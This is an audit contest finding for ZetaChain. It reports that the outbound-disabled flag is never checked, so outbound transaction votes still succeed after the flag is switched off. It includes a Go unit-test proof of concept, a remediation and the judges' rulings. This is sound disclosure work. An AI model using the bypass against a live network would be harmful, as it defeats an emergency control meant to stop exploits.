Missing Outbound Disabled Check

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/x/crosschain/keeper/keeper_cross_chain_tx_vote_outbound_tx.go#L61

Vulnerability details

Missing Outbound Disabled Check

The zetachain cosmos sdk application has various settings for enabling or disabling particular functionality within the crosschainFlags structure. These range from IsInboundEnabled, IsOutboundEnabled, gas flags and block header verification settings. These are meant to act as protections and settings for the administrator to control in the protocol. For instance, if a hack was occurring, an admin could simply disable inbound and outbound transactions in the protocol.

The flag IsOutboundEnabled is not used within the Zetachain Cosmos SDK at all. It is used by the zetaclient application though, admittedly. As a result, if this flag is enabled, it is still possible to vote on outbound transactions, when it should have been disabled already. This leads to situations where explicitly disabled functionality may still be usable.

If the admin of the system ONLY wanted to disable outbound event voting then this would be less than ideal but not the end of the world. Additionally, if the inbound is disabled then outbound will likely be disabled as well. If there's nothing coming on the inbound, then there is nothing going outbound anyway. Regardless of these limitations, the capability to disable outbound transactions is set within code, but not properly used by Zetachain, leading to the potential issues.

Proof of Concept

The proof of concept below sets up an inbound transaction and an outbound transaction. Prior to voting on the outbound transaction, the crosschain flag is set to disable outbound functionality. Regardless, the voting process still completes.

How to run the PoC:

1. Copy the code below into node/x/crosschain/keeper/keeper_cross_chain_tx_vote_inbound_tx_test.go
2. Add "github.com/zeta-chain/zetacore/common", "fmt" and "cosmossdk.io/math" into the imports of the file.
3. Run the command go test -v ./x/crosschain/keeper -run TestKeeper_outbound_submission_missing_check to execute the test case.

func TestKeeper_outbound_submission_missing_check(t *testing.T) {
	k, ctx, _, zk := keepertest.CrosschainKeeper(t)

	// MsgServer for the crosschain keeper
	msgServer := keeper.NewMsgServerImpl(*k)

	// Set the chain ids we want to use to be valid
	params := observertypes.DefaultParams()
	zk.ObserverKeeper.SetParams(
		ctx, params,
	)

	// Convert the validator address into a user address.
	validators := k.StakingKeeper.GetAllValidators(ctx)
	validatorAddress := validators[0].OperatorAddress
	valAddr, _ := sdk.ValAddressFromBech32(validatorAddress)
	addresstmp, err := sdk.AccAddressFromHexUnsafe(hex.EncodeToString(valAddr.Bytes()))
	validatorAddr := addresstmp.String()

	// Add validator to the observer list for voting
	chains := zk.ObserverKeeper.GetParams(ctx).GetSupportedChains()
	for _, chain := range chains {
		zk.ObserverKeeper.SetObserverMapper(ctx, &observertypes.ObserverMapper{
			ObserverChain: chain,
			ObserverList:  []string{validatorAddr},
		})
	}

	// Vote on the FIRST message.
	msg := &types.MsgVoteOnObservedInboundTx{
		Creator:       validatorAddr,
		Sender:        "0x954598965C2aCdA2885B037561526260764095B8",
		SenderChainId: 1, // ETH
		Receiver:      "0x954598965C2aCdA2885B037561526260764095B8",
		ReceiverChain: 7000, // zetachain
		Amount:        sdkmath.NewUintFromString("10000000"),
		Message:       "",
		InBlockHeight: 1,
		GasLimit:      1000000000,
		InTxHash:      "0x7a900ef978743f91f57ca47c6d1a1add75df4d3531da17671e9cf149e1aefe0b",
		CoinType:      0, // zeta
		TxOrigin:      "0x954598965C2aCdA2885B037561526260764095B8",
		Asset:         "",
		EventIndex:    1,
	}

	_, err = msgServer.VoteOnObservedInboundTx(
		ctx,
		msg,
	)
	assert.Equal(t, err, nil)

	// Check that the vote passed
	ballot, _, _ := zk.ObserverKeeper.FindBallot(ctx, msg.Digest(), zk.ObserverKeeper.GetParams(ctx).GetChainFromChainID(msg.SenderChainId), observerTypes.ObservationType_InBoundTx)
	if ballot.BallotStatus == observerTypes.BallotStatus_BallotFinalized_SuccessObservation {
		fmt.Println("First ballot passed!")
	} else {
		fmt.Println("First ballot failed!")
	}

	fmt.Println("Disabling outbound tx receiving")
	crosschainFlags, _ := zk.ObserverKeeper.GetCrosschainFlags(ctx)
	crosschainFlags.IsOutboundEnabled = false
	zk.ObserverKeeper.SetCrosschainFlags(
		ctx,
		crosschainFlags,
	)

	outboundMsg := &types.MsgVoteOnObservedOutboundTx{
		Creator:                        validatorAddr,
		CctxHash:                       msg.Digest(),
		ObservedOutTxHash:              "0x7a900ef978743f91f57ca47c6d1a1add75df4d3531da17671e9cf149e1aefe0b",
		ObservedOutTxBlockHeight:       1,
		ObservedOutTxGasUsed:           1,
		ObservedOutTxEffectiveGasPrice: math.NewInt(1),
		ObservedOutTxEffectiveGasLimit: 1,
		ValueReceived:                  math.NewUint(0),
		Status:                         common.ReceiveStatus_Success,
		OutTxChain:                     56,
		OutTxTssNonce:                  0,
		CoinType:                       common.CoinType_Zeta,
	}

	// Send in the outbound tx vote
	_, err = msgServer.VoteOnObservedOutboundTx(
		ctx,
		outboundMsg,
	)
	assert.Equal(t, nil, err)

	// Find a given ballot
	ballotOutbound, _, errOutboundBallot := zk.ObserverKeeper.FindBallot(ctx, outboundMsg.Digest(), zk.ObserverKeeper.GetParams(ctx).GetChainFromChainID(msg.SenderChainId), observerTypes.ObservationType_OutBoundTx)

	fmt.Println(ballotOutbound, errOutboundBallot)
	if ballotOutbound.BallotStatus == observerTypes.BallotStatus_BallotFinalized_SuccessObservation {
		fmt.Println("Outbound ballot passed!")
	} else {
		fmt.Println("Outbound ballot failed!")
	}
}

Remediation

Add a check for isOutboundEnabled to all locations where outbound transactions are being handled within the Zetachain code. By doing this, the protection can be used as designed. For instance, adding within the VoteOnObservedOutboundTx message.

Assessed type

Invalid Validation

[c4-pre-sort]

DadeKuma marked the issue as duplicate of #160

[c4-pre-sort]

DadeKuma marked the issue as sufficient quality report

[c4-pre-sort]

DadeKuma marked the issue as duplicate of #414

[c4-judge]

0xean changed the severity to 3 (High Risk)

[c4-judge]

0xean marked the issue as satisfactory